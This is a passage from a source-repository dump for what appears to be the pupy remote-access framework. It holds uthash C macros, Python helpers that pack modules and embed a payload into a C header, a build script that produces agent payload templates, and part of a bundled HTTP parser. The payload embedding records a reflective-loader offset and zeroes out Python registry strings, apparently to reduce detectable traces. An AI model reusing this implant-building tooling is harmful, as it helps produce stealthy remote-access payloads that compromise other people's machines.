\ uint32_t _mur_k1 = 0; \ const uint8_t *_mur_tail; \ const uint32_t *_mur_blocks = (const uint32_t*)(_mur_data+(_mur_nblocks*4)); \ int _mur_i; \ for (_mur_i = -_mur_nblocks; _mur_i != 0; _mur_i++) { \ _mur_k1 = MUR_GETBLOCK(_mur_blocks,_mur_i); \ _mur_k1 *= _mur_c1; \ _mur_k1 = MUR_ROTL32(_mur_k1,15); \ _mur_k1 *= _mur_c2; \ \ _mur_h1 ^= _mur_k1; \ _mur_h1 = MUR_ROTL32(_mur_h1,13); \ _mur_h1 = (_mur_h1*5U) + 0xe6546b64u; \ } \ _mur_tail = (const uint8_t*)(_mur_data + (_mur_nblocks*4)); \ _mur_k1=0; \ switch ((keylen) & 3U) { \ case 0: break; \ case 3: _mur_k1 ^= (uint32_t)_mur_tail[2] << 16; /* FALLTHROUGH */ \ case 2: _mur_k1 ^= (uint32_t)_mur_tail[1] << 8; /* FALLTHROUGH */ \ case 1: _mur_k1 ^= (uint32_t)_mur_tail[0]; \ _mur_k1 *= _mur_c1; \ _mur_k1 = MUR_ROTL32(_mur_k1,15); \ _mur_k1 *= _mur_c2; \ _mur_h1 ^= _mur_k1; \ } \ _mur_h1 ^= (uint32_t)(keylen); \ MUR_FMIX(_mur_h1); \ hashv = _mur_h1; \ } while (0) #endif /* HASH_USING_NO_STRICT_ALIASING */ /* iterate over items in a known bucket to find desired item */ #define HASH_FIND_IN_BKT(tbl,hh,head,keyptr,keylen_in,hashval,out) \ do { \ if ((head).hh_head != NULL) { \ DECLTYPE_ASSIGN(out, ELMT_FROM_HH(tbl, (head).hh_head)); \ } else { \ (out) = NULL; \ } \ while ((out) != NULL) { \ if ((out)->hh.hashv == (hashval) && (out)->hh.keylen == (keylen_in)) { \ if (HASH_KEYCMP((out)->hh.key, keyptr, keylen_in) == 0) { \ break; \ } \ } \ if ((out)->hh.hh_next != NULL) { \ DECLTYPE_ASSIGN(out, ELMT_FROM_HH(tbl, (out)->hh.hh_next)); \ } else { \ (out) = NULL; \ } \ } \ } while (0) /* add an item to a bucket */ #define HASH_ADD_TO_BKT(head,hh,addhh,oomed) \ do { \ UT_hash_bucket *_ha_head = &(head); \ _ha_head->count++; \ (addhh)->hh_next = _ha_head->hh_head; \ (addhh)->hh_prev = NULL; \ if (_ha_head->hh_head != NULL) { \ _ha_head->hh_head->hh_prev = (addhh); \ } \ _ha_head->hh_head = (addhh); \ if ((_ha_head->count >= ((_ha_head->expand_mult + 1U) * HASH_BKT_CAPACITY_THRESH)) \ && !(addhh)->tbl->noexpand) { \ HASH_EXPAND_BUCKETS(addhh,(addhh)->tbl, oomed); \ IF_HASH_NONFATAL_OOM( \ if (oomed) { \ HASH_DEL_IN_BKT(head,addhh); \ } \ ) \ } \ } while (0) /* remove an item from a given bucket */ #define HASH_DEL_IN_BKT(head,delhh) \ do { \ UT_hash_bucket *_hd_head = &(head); \ _hd_head->count--; \ if (_hd_head->hh_head == (delhh)) { \ _hd_head->hh_head = (delhh)->hh_next; \ } \ if ((delhh)->hh_prev) { \ (delhh)->hh_prev->hh_next = (delhh)->hh_next; \ } \ if ((delhh)->hh_next) { \ (delhh)->hh_next->hh_prev = (delhh)->hh_prev; \ } \ } while (0) /* Bucket expansion has the effect of doubling the number of buckets * and redistributing the items into the new buckets. Ideally the * items will distribute more or less evenly into the new buckets * (the extent to which this is true is a measure of the quality of * the hash function as it applies to the key domain). * * With the items distributed into more buckets, the chain length * (item count) in each bucket is reduced. Thus by expanding buckets * the hash keeps a bound on the chain length. This bounded chain * length is the essence of how a hash provides constant time lookup. * * The calculation of tbl->ideal_chain_maxlen below deserves some * explanation. First, keep in mind that we're calculating the ideal * maximum chain length based on the *new* (doubled) bucket count. * In fractions this is just n/b (n=number of items,b=new num buckets). * Since the ideal chain length is an integer, we want to calculate * ceil(n/b). We don't depend on floating point arithmetic in this * hash, so to calculate ceil(n/b) with integers we could write * * ceil(n/b) = (n/b) + ((n%b)?1:0) * * and in fact a previous version of this hash did just that. * But now we have improved things a bit by recognizing that b is * always a power of two. We keep its base 2 log handy (call it lb), * so now we can write this with a bit shift and logical AND: * * ceil(n/b) = (n>>lb) + ( (n & (b-1)) ? 1:0) * */ #define HASH_EXPAND_BUCKETS(hh,tbl,oomed) \ do { \ unsigned _he_bkt; \ unsigned _he_bkt_i; \ struct UT_hash_handle *_he_thh, *_he_hh_nxt; \ UT_hash_bucket *_he_new_buckets, *_he_newbkt; \ _he_new_buckets = (UT_hash_bucket*)uthash_malloc( \ 2UL * (tbl)->num_buckets * sizeof(struct UT_hash_bucket)); \ if (!_he_new_buckets) { \ HASH_RECORD_OOM(oomed); \ } else { \ uthash_bzero(_he_new_buckets, \ 2UL * (tbl)->num_buckets * sizeof(struct UT_hash_bucket)); \ (tbl)->ideal_chain_maxlen = \ ((tbl)->num_items >> ((tbl)->log2_num_buckets+1U)) + \ ((((tbl)->num_items & (((tbl)->num_buckets*2U)-1U)) != 0U) ? 1U : 0U); \ (tbl)->nonideal_items = 0; \ for (_he_bkt_i = 0; _he_bkt_i < (tbl)->num_buckets; _he_bkt_i++) { \ _he_thh = (tbl)->buckets[ _he_bkt_i ].hh_head; \ while (_he_thh != NULL) { \ _he_hh_nxt = _he_thh->hh_next; \ HASH_TO_BKT(_he_thh->hashv, (tbl)->num_buckets * 2U, _he_bkt); \ _he_newbkt = &(_he_new_buckets[_he_bkt]); \ if (++(_he_newbkt->count) > (tbl)->ideal_chain_maxlen) { \ (tbl)->nonideal_items++; \ if (_he_newbkt->count > _he_newbkt->expand_mult * (tbl)->ideal_chain_maxlen) { \ _he_newbkt->expand_mult++; \ } \ } \ _he_thh->hh_prev = NULL; \ _he_thh->hh_next = _he_newbkt->hh_head; \ if (_he_newbkt->hh_head != NULL) { \ _he_newbkt->hh_head->hh_prev = _he_thh; \ } \ _he_newbkt->hh_head = _he_thh; \ _he_thh = _he_hh_nxt; \ } \ } \ uthash_free((tbl)->buckets, (tbl)->num_buckets * sizeof(struct UT_hash_bucket)); \ (tbl)->num_buckets *= 2U; \ (tbl)->log2_num_buckets++; \ (tbl)->buckets = _he_new_buckets; \ (tbl)->ineff_expands = ((tbl)->nonideal_items > ((tbl)->num_items >> 1)) ? \ ((tbl)->ineff_expands+1U) : 0U; \ if ((tbl)->ineff_expands > 1U) { \ (tbl)->noexpand = 1; \ uthash_noexpand_fyi(tbl); \ } \ uthash_expand_fyi(tbl); \ } \ } while (0) /* This is an adaptation of Simon Tatham's O(n log(n)) mergesort */ /* Note that HASH_SORT assumes the hash handle name to be hh. * HASH_SRT was added to allow the hash handle name to be passed in. */ #define HASH_SORT(head,cmpfcn) HASH_SRT(hh,head,cmpfcn) #define HASH_SRT(hh,head,cmpfcn) \ do { \ unsigned _hs_i; \ unsigned _hs_looping,_hs_nmerges,_hs_insize,_hs_psize,_hs_qsize; \ struct UT_hash_handle *_hs_p, *_hs_q, *_hs_e, *_hs_list, *_hs_tail; \ if (head != NULL) { \ _hs_insize = 1; \ _hs_looping = 1; \ _hs_list = &((head)->hh); \ while (_hs_looping != 0U) { \ _hs_p = _hs_list; \ _hs_list = NULL; \ _hs_tail = NULL; \ _hs_nmerges = 0; \ while (_hs_p != NULL) { \ _hs_nmerges++; \ _hs_q = _hs_p; \ _hs_psize = 0; \ for (_hs_i = 0; _hs_i < _hs_insize; ++_hs_i) { \ _hs_psize++; \ _hs_q = ((_hs_q->next != NULL) ? \ HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL); \ if (_hs_q == NULL) { \ break; \ } \ } \ _hs_qsize = _hs_insize; \ while ((_hs_psize != 0U) || ((_hs_qsize != 0U) && (_hs_q != NULL))) { \ if (_hs_psize == 0U) { \ _hs_e = _hs_q; \ _hs_q = ((_hs_q->next != NULL) ? \ HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL); \ _hs_qsize--; \ } else if ((_hs_qsize == 0U) || (_hs_q == NULL)) { \ _hs_e = _hs_p; \ if (_hs_p != NULL) { \ _hs_p = ((_hs_p->next != NULL) ? \ HH_FROM_ELMT((head)->hh.tbl, _hs_p->next) : NULL); \ } \ _hs_psize--; \ } else if ((cmpfcn( \ DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl, _hs_p)), \ DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl, _hs_q)) \ )) <= 0) { \ _hs_e = _hs_p; \ if (_hs_p != NULL) { \ _hs_p = ((_hs_p->next != NULL) ? \ HH_FROM_ELMT((head)->hh.tbl, _hs_p->next) : NULL); \ } \ _hs_psize--; \ } else { \ _hs_e = _hs_q; \ _hs_q = ((_hs_q->next != NULL) ? \ HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL); \ _hs_qsize--; \ } \ if ( _hs_tail != NULL ) { \ _hs_tail->next = ((_hs_e != NULL) ? \ ELMT_FROM_HH((head)->hh.tbl, _hs_e) : NULL); \ } else { \ _hs_list = _hs_e; \ } \ if (_hs_e != NULL) { \ _hs_e->prev = ((_hs_tail != NULL) ? \ ELMT_FROM_HH((head)->hh.tbl, _hs_tail) : NULL); \ } \ _hs_tail = _hs_e; \ } \ _hs_p = _hs_q; \ } \ if (_hs_tail != NULL) { \ _hs_tail->next = NULL; \ } \ if (_hs_nmerges <= 1U) { \ _hs_looping = 0; \ (head)->hh.tbl->tail = _hs_tail; \ DECLTYPE_ASSIGN(head, ELMT_FROM_HH((head)->hh.tbl, _hs_list)); \ } \ _hs_insize *= 2U; \ } \ HASH_FSCK(hh, head, "HASH_SRT"); \ } \ } while (0) /* This function selects items from one hash into another hash. * The end result is that the selected items have dual presence * in both hashes. There is no copy of the items made; rather * they are added into the new hash through a secondary hash * hash handle that must be present in the structure. */ #define HASH_SELECT(hh_dst, dst, hh_src, src, cond) \ do { \ unsigned _src_bkt, _dst_bkt; \ void *_last_elt = NULL, *_elt; \ UT_hash_handle *_src_hh, *_dst_hh, *_last_elt_hh=NULL; \ ptrdiff_t _dst_hho = ((char*)(&(dst)->hh_dst) - (char*)(dst)); \ if ((src) != NULL) { \ for (_src_bkt=0; _src_bkt < (src)->hh_src.tbl->num_buckets; _src_bkt++) { \ for (_src_hh = (src)->hh_src.tbl->buckets[_src_bkt].hh_head; \ _src_hh != NULL; \ _src_hh = _src_hh->hh_next) { \ _elt = ELMT_FROM_HH((src)->hh_src.tbl, _src_hh); \ if (cond(_elt)) { \ IF_HASH_NONFATAL_OOM( int _hs_oomed = 0; ) \ _dst_hh = (UT_hash_handle*)(((char*)_elt) + _dst_hho); \ _dst_hh->key = _src_hh->key; \ _dst_hh->keylen = _src_hh->keylen; \ _dst_hh->hashv = _src_hh->hashv; \ _dst_hh->prev = _last_elt; \ _dst_hh->next = NULL; \ if (_last_elt_hh != NULL) { \ _last_elt_hh->next = _elt; \ } \ if ((dst) == NULL) { \ DECLTYPE_ASSIGN(dst, _elt); \ HASH_MAKE_TABLE(hh_dst, dst, _hs_oomed); \ IF_HASH_NONFATAL_OOM( \ if (_hs_oomed) { \ uthash_nonfatal_oom(_elt); \ (dst) = NULL; \ continue; \ } \ ) \ } else { \ _dst_hh->tbl = (dst)->hh_dst.tbl; \ } \ HASH_TO_BKT(_dst_hh->hashv, _dst_hh->tbl->num_buckets, _dst_bkt); \ HASH_ADD_TO_BKT(_dst_hh->tbl->buckets[_dst_bkt], hh_dst, _dst_hh, _hs_oomed); \ (dst)->hh_dst.tbl->num_items++; \ IF_HASH_NONFATAL_OOM( \ if (_hs_oomed) { \ HASH_ROLLBACK_BKT(hh_dst, dst, _dst_hh); \ HASH_DELETE_HH(hh_dst, dst, _dst_hh); \ _dst_hh->tbl = NULL; \ uthash_nonfatal_oom(_elt); \ continue; \ } \ ) \ HASH_BLOOM_ADD(_dst_hh->tbl, _dst_hh->hashv); \ _last_elt = _elt; \ _last_elt_hh = _dst_hh; \ } \ } \ } \ } \ HASH_FSCK(hh_dst, dst, "HASH_SELECT"); \ } while (0) #define HASH_CLEAR(hh,head) \ do { \ if ((head) != NULL) { \ HASH_BLOOM_FREE((head)->hh.tbl); \ uthash_free((head)->hh.tbl->buckets, \ (head)->hh.tbl->num_buckets*sizeof(struct UT_hash_bucket)); \ uthash_free((head)->hh.tbl, sizeof(UT_hash_table)); \ (head) = NULL; \ } \ } while (0) #define HASH_OVERHEAD(hh,head) \ (((head) != NULL) ? ( \ (size_t)(((head)->hh.tbl->num_items * sizeof(UT_hash_handle)) + \ ((head)->hh.tbl->num_buckets * sizeof(UT_hash_bucket)) + \ sizeof(UT_hash_table) + \ (HASH_BLOOM_BYTELEN))) : 0U) #ifdef NO_DECLTYPE #define HASH_ITER(hh,head,el,tmp) \ for(((el)=(head)), ((*(char**)(&(tmp)))=(char*)((head!=NULL)?(head)->hh.next:NULL)); \ (el) != NULL; ((el)=(tmp)), ((*(char**)(&(tmp)))=(char*)((tmp!=NULL)?(tmp)->hh.next:NULL))) #else #define HASH_ITER(hh,head,el,tmp) \ for(((el)=(head)), ((tmp)=DECLTYPE(el)((head!=NULL)?(head)->hh.next:NULL)); \ (el) != NULL; ((el)=(tmp)), ((tmp)=DECLTYPE(el)((tmp!=NULL)?(tmp)->hh.next:NULL))) #endif /* obtain a count of items in the hash */ #define HASH_COUNT(head) HASH_CNT(hh,head) #define HASH_CNT(hh,head) ((head != NULL)?((head)->hh.tbl->num_items):0U) typedef struct UT_hash_bucket { struct UT_hash_handle *hh_head; unsigned count; /* expand_mult is normally set to 0. In this situation, the max chain length * threshold is enforced at its default value, HASH_BKT_CAPACITY_THRESH. (If * the bucket's chain exceeds this length, bucket expansion is triggered). * However, setting expand_mult to a non-zero value delays bucket expansion * (that would be triggered by additions to this particular bucket) * until its chain length reaches a *multiple* of HASH_BKT_CAPACITY_THRESH. * (The multiplier is simply expand_mult+1). The whole idea of this * multiplier is to reduce bucket expansions, since they are expensive, in * situations where we know that a particular bucket tends to be overused. * It is better to let its chain length grow to a longer yet-still-bounded * value, than to do an O(n) bucket expansion too often. */ unsigned expand_mult; } UT_hash_bucket; /* random signature used only to find hash tables in external analysis */ #define HASH_SIGNATURE 0xa0111fe1u #define HASH_BLOOM_SIGNATURE 0xb12220f2u typedef struct UT_hash_table { UT_hash_bucket *buckets; unsigned num_buckets, log2_num_buckets; unsigned num_items; struct UT_hash_handle *tail; /* tail hh in app order, for fast append */ ptrdiff_t hho; /* hash handle offset (byte pos of hash handle in element */ /* in an ideal situation (all buckets used equally), no bucket would have * more than ceil(#items/#buckets) items. that's the ideal chain length. */ unsigned ideal_chain_maxlen; /* nonideal_items is the number of items in the hash whose chain position * exceeds the ideal chain maxlen. these items pay the penalty for an uneven * hash distribution; reaching them in a chain traversal takes >ideal steps */ unsigned nonideal_items; /* ineffective expands occur when a bucket doubling was performed, but * afterward, more than half the items in the hash had nonideal chain * positions. If this happens on two consecutive expansions we inhibit any * further expansion, as it's not helping; this happens when the hash * function isn't a good fit for the key domain. When expansion is inhibited * the hash will still work, albeit no longer in constant time. */ unsigned ineff_expands, noexpand; uint32_t signature; /* used only to find hash tables in external analysis */ #ifdef HASH_BLOOM uint32_t bloom_sig; /* used only to test bloom exists in external analysis */ uint8_t *bloom_bv; uint8_t bloom_nbits; #endif } UT_hash_table; typedef struct UT_hash_handle { struct UT_hash_table *tbl; void *prev; /* prev element in app order */ void *next; /* next element in app order */ struct UT_hash_handle *hh_prev; /* previous hh in bucket order */ struct UT_hash_handle *hh_next; /* next hh in bucket order */ void *key; /* ptr to enclosing struct's key */ unsigned keylen; /* enclosing struct's key len */ unsigned hashv; /* result of hash-fcn(key) */ } UT_hash_handle; #endif /* UTHASH_H */ ================================================ FILE: client/gen_library_compressed_string.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys import zipfile import struct from io import open def get_encoded_library_string(filepath, out): dest = os.path.dirname(filepath) if not os.path.exists(dest): os.makedirs(dest) zip = zipfile.ZipFile(open(filepath, 'rb')) modules = dict([ ( z.filename, zip.open(z.filename,).read() ) for z in zip.infolist() if os.path.splitext(z.filename)[1] in ( '.py', '.pyd', '.dll', '.pyc', '.pyo', '.so', '.toc' ) ]) ks = len(modules) out.write(struct.pack('>I', ks)) for module in modules: content = modules[module] out.write(struct.pack('>II', len(module), len(content))) out.write(module.encode('utf8')) out.write(content) with open(sys.argv[1], 'wb') as w: get_encoded_library_string(sys.argv[2], w) ================================================ FILE: client/gen_resource_header.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import sys import binascii #import lzma import pylzma import struct import os from io import open MAX_CHAR_PER_LINE = 50 ReflectiveLoaderSymName = 'ReflectiveLoader' ZERO_STRINGS = [ b'Software\\Python\\PythonCore' ] ZERO_STRINGS.extend([ z.decode('ascii').encode('utf-16le') for z in ZERO_STRINGS ]) if __name__ == "__main__": h_file = "" file_bytes = b"" output = os.path.basename(sys.argv[2]).replace('.', '_') reflective_loader = None with open(sys.argv[1], "rb") as f: file_bytes = f.read() for z in ZERO_STRINGS: if z in file_bytes: file_bytes = file_bytes.replace(z, b'\00' * len(z)) try: image_base = 0 with open(sys.argv[1]+'.map') as f: for line in f: line = line.strip().split() if len(line) < 4: continue if line[1] == '__ImageBase': image_base = int(line[2], 16) continue if line[1] in (ReflectiveLoaderSymName, '_' + ReflectiveLoaderSymName + '@4'): reflective_loader = int(line[2], 16) - image_base break except (OSError, IOError): pass compressed = int(sys.argv[3]) attribute = '' pragma = '' if len(sys.argv) > 5: compiler = sys.argv[4] if compiler == 'cl': print("USING MSVC pragmas, const_seg: {}".format(sys.argv[5])) attribute = '\n#pragma const_seg(push, stack1, "{}")\n'.format( sys.argv[5]) pragma = '\n#pragma const_seg(pop, stack1)' else: attribute = '\n'.join([ '__attribute__(({}))'.format(x) for x in sys.argv[5:] ]) payload_len = len(file_bytes) payload=file_bytes if compressed: # lzc = lzma.LZMACompressor() # compressed_fb = lzc.compress(file_bytes) # compressed_fb += lzc.flush() # payload = compressed_fb payload = struct.pack('>I', payload_len) + ( pylzma.compress( file_bytes, dictionary=24, fastBytes=255 ) if compressed else file_bytes ) else: payload = struct.pack('>I', payload_len) + payload if reflective_loader: h_file += "static const size_t %s_loader = 0x%x;\n" % ( output, reflective_loader) with open(sys.argv[2].rsplit('.', 1)[0] + '.loader', 'wb') as w: w.write(struct.pack('>I', reflective_loader)) h_file += "static const int %s_size = %s;" % (output, len(payload)) h_file += attribute h_file += "\nstatic const char %s_start[] = {\n" % (output) current_size = 0 with open(sys.argv[2], 'w') as w: w.write(h_file) for c in payload: w.write("'\\x%02x'," % c) current_size += 1 if current_size > MAX_CHAR_PER_LINE: current_size = 0 w.write("\n") w.write("'\\x00' };\n") w.write(pragma) ================================================ FILE: client/mktab.py ================================================ from __future__ import print_function from __future__ import unicode_literals # A script to generate helper files for dynamic linking to the Python dll # import string import sys from io import open UCS_ABI = 'UCS2' if len(sys.argv) > 1: UCS_ABI = sys.argv[1] decls = ''' void, Py_InitializeEx, (int) void, Py_Finalize, () void, Py_Initialize, () wchar_t *, Py_GetPath, (void) void, Py_SetPythonHome, (const wchar_t *) void, Py_SetProgramName, (const wchar_t *) PyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t) int, PyBytes_AsStringAndSize, (PyObject *, char **, Py_ssize_t *) const char *, PyBytes_AsString, (PyObject *) int, PyArg_ParseTuple, (PyObject *, const char *, ...) int, PyArg_ParseTupleAndKeywords, (PyObject *args, PyObject *kw, const char *format, const char * const *keywords, ...) PyObject *, PyImport_ImportModule, (const char *) PyObject *, PyImport_Import, (PyObject *name) PyObject *,PyLong_FromLong, (long) PyObject *, PyLong_FromVoidPtr, (void *) int, PyImport_ImportFrozenModule, (const char *name) int, Py_IsInitialized, (void) int, PyObject_SetAttrString, (PyObject *, const char *, PyObject *) void*, PyUnicode_AsWideChar, (PyObject *o, wchar_t *w, Py_ssize_t size) void, Py_SetPath, (const wchar_t* path) Py_ssize_t, PyUnicode_GetSize, (PyObject *unicode) const char *, PyUnicode_AsUTF8AndSize, (PyObject *unicode, Py_ssize_t *size) const char *, PyUnicode_AsUTF8, (PyObject *unicode) PyObject *, PyCFunction_NewEx, (PyMethodDef *, PyObject *, PyObject *) PyObject *, PyObject_GetAttrString, (PyObject *, const char *) PyObject *, Py_BuildValue, (const char *, ...) PyObject *, PyObject_Call, (PyObject *, PyObject *, PyObject *) PyObject *, PyObject_CallFunctionObjArgs, (PyObject *, ...) PyObject *, PyObject_CallFunction, (PyObject *, const char *, ...) PyObject *, PyErr_Occurred, (void) void, PyErr_Fetch, (PyObject **, PyObject **, PyObject **) void, PyErr_Clear, (void) PyObject*, PyErr_NoMemory, (void) int, PyObject_IsInstance, (PyObject *, PyObject *) PyObject *, PyCapsule_New, (void *, const char *, void *) void *, PyCapsule_GetPointer, (PyObject *, const char *) void, Py_IncRef, (PyObject *) void, Py_DecRef, (PyObject *) PyObject*, PyErr_SetFromErrno, (PyObject *) PyObject*, PyErr_Format, (PyObject *, const char *format, ...) PyObject *, PyObject_CallObject, (PyObject *, PyObject *) PyGILState_STATE, PyGILState_Ensure, (void) void, PyGILState_Release, (PyGILState_STATE) void, PySys_SetObject, (const char *, PyObject *) PyObject *, PySys_GetObject, (const char *) PyObject *, PyImport_AddModule, (const char *) PyObject *, PyModule_GetDict, (PyObject *) int, PyDict_Next, (PyObject *, Py_ssize_t *, PyObject **, PyObject **) PyObject*, PyDict_Keys, (PyObject *) void, PyDict_Clear, (PyObject *) Py_ssize_t, PySequence_Length, (PyObject *) PyObject *, PySequence_GetItem, (PyObject *, Py_ssize_t) PyObject *, PyEval_EvalCode, (PyCodeObject *, PyObject *, PyObject *) PyObject *, PyEval_GetBuiltins, () void, PyErr_Print, (void) PyObject *, PyBool_FromLong, (long) PyObject*, PyList_New, (Py_ssize_t) PyObject*, PyList_GetItem, (PyObject *, Py_ssize_t) PyObject*, PyList_Append, (PyObject *, PyObject *) int, PyList_SetSlice, (PyObject *list, Py_ssize_t low, Py_ssize_t high, PyObject *itemlist) Py_ssize_t, PyList_Size, (PyObject *list) int, PyObject_IsTrue, (PyObject *) PyObject*, PyObject_GetIter, (PyObject *) PyObject*, PyIter_Next, (PyObject *o) void, PyErr_SetString, (PyObject *, const char *) void, PyEval_InitThreads, (void) PyObject *, PyErr_NewException, (const char *name, PyObject *base, PyObject *dict) int, PyModule_AddObject, (PyObject *, const char *, PyObject *) int, PyModule_AddStringConstant, (PyObject *module, const char *name, const char *value) PyObject*, PyDict_New, () PyObject*, PyUnicode_FromStringAndSize, (const char *v, Py_ssize_t len) PyObject*, PyUnicode_FromString, (const char *u) PyObject*, PyBytes_FromStringAndSize, (const char *v, Py_ssize_t len) PyObject*, PyBytes_FromString, (const char *v) int, PyDict_Update, (PyObject *a, PyObject *b) int, PyDict_SetItem, (PyObject *p, PyObject *key, PyObject *val) int, PyDict_SetItemString, (PyObject *, const char *, PyObject *) int, PyDict_DelItem, (PyObject *a, PyObject *b) PyObject*, PyDict_GetItemString, (PyObject *p, const char *key) int, PyDict_DelItemString, (PyObject *p, const char *key) wchar_t *, Py_DecodeLocale, (const char *arg, size_t *size) PyStatus, _PyRuntime_Initialize, (void) void, PyPreConfig_InitPythonConfig, (PyPreConfig *config) void, PyPreConfig_InitIsolatedConfig, (PyPreConfig *config) PyStatus, Py_PreInitialize, (PyPreConfig *config) void, PyConfig_InitPythonConfig, (PyConfig *config) void, PyConfig_InitIsolatedConfig, (PyConfig *config) PyStatus, Py_InitializeFromConfig, (const PyConfig *config) PyStatus, _Py_InitializeMain, (void) int, PyStatus_Exception, (PyStatus status) void, Py_ExitStatusException, (PyStatus status) int , Py_NoSiteFlag int , Py_OptimizeFlag int , Py_NoUserSiteDirectory int , Py_DontWriteBytecodeFlag int , Py_IgnoreEnvironmentFlag int , Py_IsolatedFlag int , Py_UnbufferedStdioFlag PyObject, PyUnicode_Type PyObject, _Py_NoneStruct const char *, _Py_PackageContext char *, Py_FileSystemDefaultEncoding PyObject *, PyExc_ImportError PyObject *, PyExc_Exception PyObject *, PyExc_KeyError PyObject *, PyExc_OSError int, PyImport_AppendInittab, (const char *name, PyObject *(*initfunc)(void)) int, PyRun_SimpleString, (const char *command) int, _PyImport_FixupExtensionObject, (PyObject *mod, PyObject *name, PyObject *filename, PyObject *modules) PyObject *, PyImport_GetModuleDict, () PyObject *, PyFile_FromFd, (int fd, const char *name, const char *mode, int buffering, const char *encoding, const char *errors, const char *newline, int closefd) '''.strip().splitlines() #int , Py_LegacyWindowsFSEncodingFlag # useful types ? """ """ hfile = open("import-tab.h", "w") cfile = open("import-tab.c", "w") index = 0 for decl in decls: if not decl or decl.startswith("//"): continue items = decl.split(',', 2) if len(items) == 3: # exported function with argument list restype, name, argtypes = map(str.strip, items) print(f'#define {name} (({restype}(*){argtypes})py_sym_table[{index}].proc)', file=hfile) elif len(items) == 2: # exported data typ, name = map(str.strip, items) print(f'#define {name} (*(({typ}(*))py_sym_table[{index}].proc))', file=hfile) else: raise ValueError("could not parse %r" % decl) print(f'\t{{ "{name}", NULL }},', file=cfile) index += 1 hfile.close() cfile.close() ================================================ FILE: client/pyoxidizer-build/build_template.sh ================================================ #!/bin/bash # -*- coding: UTF8 -*- python3 -m pip install pyoxidizer # so let's copy important files necessary for the build cp -r ../../pupy/agent lib/pupy/ cp -r ../../pupy/network lib/pupy/ cp -r ../../pupy/library_patches_py3 . docker run -ti -v $(pwd):/pupy --rm n1nj4sec/pyoxidizer-builder:linux-x86_64 /bin/bash -c 'export PATH="/build/python/bin:$PATH"; cd /pupy; python3 -m pip install pyoxidizer; pyoxidizer build --release' strip -s build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy echo "saving built template to ~/.pupy/payload_templates/ ..." mkdir -p ~/.pupy/payload_templates cp ./build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy ~/.pupy/payload_templates/pupyx64-310.pyoxidizer.lin # not working, missing msvc on windows #docker run --rm -v $(pwd):/opt/win/drive_c/tools/pupy -ti wine 'set PATH=%PATH%;C:\\Program Files\\PyOxidizer && C: && cd C:\\tools\\pupy && pyoxidizer build --release' ================================================ FILE: client/pyoxidizer-build/lib/http_parser/__init__.py ================================================ # -*- coding: utf-8 - # # This file is part of http_parser released under the MIT license. # See the NOTICE for more information. version_info = (0, 9, 0) __version__ = ".".join(map(str, version_info)) ================================================ FILE: client/pyoxidizer-build/lib/http_parser/_socketio.py ================================================ """ socketio taken from the python3 stdlib """ import io import sys from socket import timeout, error, socket from errno import EINTR, EAGAIN, EWOULDBLOCK _blocking_errnos = EAGAIN, EWOULDBLOCK # python2.6 fixes def _recv_into_sock_py26(sock, buf): data = sock.recv(len(buf)) l = len(data) buf[:l] = data return l if sys.version_info < (2, 7, 0, 'final'): _recv_into_sock = _recv_into_sock_py26 else: _recv_into_sock = lambda sock, buf: sock.recv_into(buf) class SocketIO(io.RawIOBase): """Raw I/O implementation for stream sockets. This class supports the makefile() method on sockets. It provides the raw I/O interface on top of a socket object. """ # One might wonder why not let FileIO do the job instead. There are two # main reasons why FileIO is not adapted: # - it wouldn't work under Windows (where you can't used read() and # write() on a socket handle) # - it wouldn't work with socket timeouts (FileIO would ignore the # timeout and consider the socket non-blocking) # XXX More docs def __init__(self, sock, mode): if mode not in ("r", "w", "rw", "rb", "wb", "rwb"): raise ValueError("invalid mode: %r" % mode) io.RawIOBase.__init__(self) self._sock = sock if "b" not in mode: mode += "b" self._mode = mode self._reading = "r" in mode self._writing = "w" in mode self._timeout_occurred = False def readinto(self, b): """Read up to len(b) bytes into the writable buffer *b* and return the number of bytes read. If the socket is non-blocking and no bytes are available, None is returned. If *b* is non-empty, a 0 return value indicates that the connection was shutdown at the other end. """ self._checkClosed() self._checkReadable() if self._timeout_occurred: raise IOError("cannot read from timed out object") while True: try: return _recv_into_sock(self._sock, b) except timeout: self._timeout_occurred = True raise except error as e: n = e.args[0] if n == EINTR: continue if n in _blocking_errnos: return None raise def write(self, b): """Write the given bytes or bytearray object *b* to the socket and return the number of bytes written. This can be less than len(b) if not all data could be written. If the socket is non-blocking and no bytes could be written None is returned. """ self._checkClosed() self._checkWritable() try: return self._sock.send(b) except error as e: # XXX what about EINTR? if e.args[0] in _blocking_errnos: return None raise def readable(self): """True if the SocketIO is open for reading. """ return self._reading and not self.closed def writable(self): """True if the SocketIO is open for writing. """ return self._writing and not self.closed def fileno(self): """Return the file descriptor of the underlying socket. """ self._checkClosed() return self._sock.fileno() @property def name(self): if not self.closed: return self.fileno() else: return -1 @property def mode(self): return self._mode def close(self): """Close the SocketIO object. This doesn't close the underlying socket, except if all references to it have disappeared. """ if self.closed: return io.RawIOBase.close(self) self._sock = None def _checkClosed(self, msg=None): """Internal: raise an ValueError if file is closed """ if self.closed: raise ValueError("I/O operation on closed file." if msg is None else msg) ================================================ FILE: client/pyoxidizer-build/lib/http_parser/http.py ================================================ # -*- coding: utf-8 - # # This file is part of http-parser released under the MIT license. # See the NOTICE for more information. from io import DEFAULT_BUFFER_SIZE, BufferedReader, TextIOWrapper try: from http_parser.parser import HttpParser except ImportError: from http_parser.pyparser import HttpParser from http_parser.reader import HttpBodyReader from http_parser.util import status_reasons, bytes_to_str HTTP_BOTH = 2 HTTP_RESPONSE = 1 HTTP_REQUEST = 0 class NoMoreData(Exception): """ exception raised when trying to parse headers but we didn't get all data needed. """ class ParserError(Exception): """ error while parsing http request """ class BadStatusLine(Exception): """ error when status line is invalid """ class HttpStream(object): """ An HTTP parser providing higher-level access to a readable, sequential io.RawIOBase object. You can use implementions of http_parser.reader (IterReader, StringReader, SocketReader) or create your own. """ def __init__(self, stream, kind=HTTP_BOTH, decompress=False, parser_class=HttpParser): """ constructor of HttpStream. :attr stream: an io.RawIOBase object :attr kind: Int, could 